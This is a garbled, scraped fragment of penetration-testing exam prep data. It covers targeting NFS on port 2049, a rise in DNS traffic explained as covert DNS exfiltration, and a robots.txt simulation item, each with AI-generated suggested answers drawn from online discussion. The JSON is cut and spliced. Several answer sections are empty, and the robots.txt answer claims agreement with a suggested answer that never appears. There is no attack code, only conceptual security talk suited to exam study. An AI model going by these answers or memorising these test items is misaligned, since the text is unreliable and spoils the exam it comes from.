\n Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is Port 2049 (NFS), which the reason is it's less monitored which aligns with the goal of stealth.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is D (File sharing).
\nBased on the Nmap output, port 2049 is open, indicating the Network File System (NFS) service is running. NFS is the best target because it is a file sharing service, and misconfigurations or vulnerabilities in NFS can lead to unauthorized access to sensitive files. The discussion also highlights that NFS is often less monitored, making it a potentially stealthier target.
\nHere's why the other options are less likely to be the *best* target, considering the context of a penetration test:\n
\nThe key is identifying the service directly indicated by the port scan and understanding which service, if compromised, could provide significant access. NFS fits this description, especially given its history of vulnerabilities and potential for misconfiguration.\n
\n\nReasoning for agreeing with suggested answer: The suggested answer (D) aligns with the interpretation of the Nmap output, pointing to NFS as the running service and further supports this by noting the potential for vulnerabilities and misconfigurations. Additionally, the stealth aspect mentioned in the discussion is a valid consideration for a penetration tester.\n
\n\nReasons for not choosing other answers: The other options (A, B, and C) don't have direct evidence from the Nmap scan to support them as the *best* initial target. There's no explicit mention of database, remote access, or email services running on standard ports.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA client recently hired a penetration testing firm to conduct an assessment of their consumer-facing web application. Several days into the assessment, the client's networking team observes a substantial increase in DNS traffic. Which of the following would most likely explain the increase in DNS traffic?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Covert data exfiltration", "html": "From the internet discussion, the conclusion of the answer to this question is A. The comments agree that while URL spidering involves HTTP/S traffic, it doesn't cause a significant increase in DNS queries, which primarily handle the initial domain resolution and often utilize cached information for subsequent requests to the same domain. One comment suggests an alternative answer, stating that DNS exfiltration works by encoding data into DNS queries and sending them to a malicious DNS server, which contradicts the consensus.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is A (Covert data exfiltration).
\nReasoning: Covert data exfiltration via DNS involves encoding data within DNS queries. This method generates a substantial increase in DNS traffic as the attacker attempts to transmit data out of the network. The question explicitly mentions a \"substantial increase in DNS traffic,\" making this the most likely explanation.
\nWhy other options are less likely:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tHOTSPOT -
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS -
Select the tool the penetration tester should use for further investigation.
Select the three entries in the robots.txt file that the penetration tester should recommend for removal.
If at any time you would like to bring back the inital state of the simulation, please click the Reset All button.![](\"topic_99_question_71/image_0.png\" "\\"image20\\"/")
\n
![](\"topic_99_question_71/image_1.png\" "\\"image21\\"/")
From the internet discussion, the conclusion of the answer to this question is not explicitly mentioned in the provided comments, as they are more related to the exam-taking experience and the number of available questions. The comments do not offer any insights into the correct answer or discuss the reasoning behind any specific choices.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the context of penetration testing and the purpose of a `robots.txt` file, here's an analysis and a recommended answer.
\nThe purpose of `robots.txt` is to instruct web robots (crawlers) about which parts of a website should not be processed or scanned. It's a directive, not a security mechanism. Therefore, anything listed in `robots.txt` is essentially being advertised.
\nRegarding the tool, a penetration tester would use a variety of tools, but given the initial reconnaissance on `robots.txt`, a web crawler or spider (like `dirb`, `nikto`, or even `curl` followed by manual analysis) would be a logical next step to investigate the disallowed directories and files. Burp Suite is also a good option because it is a proxy that allows you to intercept and modify requests.
\nFor the entries to recommend for removal, consider why they might be there in the first place. They are likely sensitive areas that the developers don't want indexed by search engines, but that a malicious actor could find by simply viewing the `robots.txt` file. It is important to protect your applications from attackers by identifying all possible attack vectors and taking steps to remediate them. This includes removing sensitive information from public-facing files and directories to reduce the attack surface.
\nTherefore, the suggested answer is likely correct.
\nThe AI agrees with the suggested answer. The reasoning is as follows:
\nReasons for choosing this answer over other potential answers:
\nCitations:
\n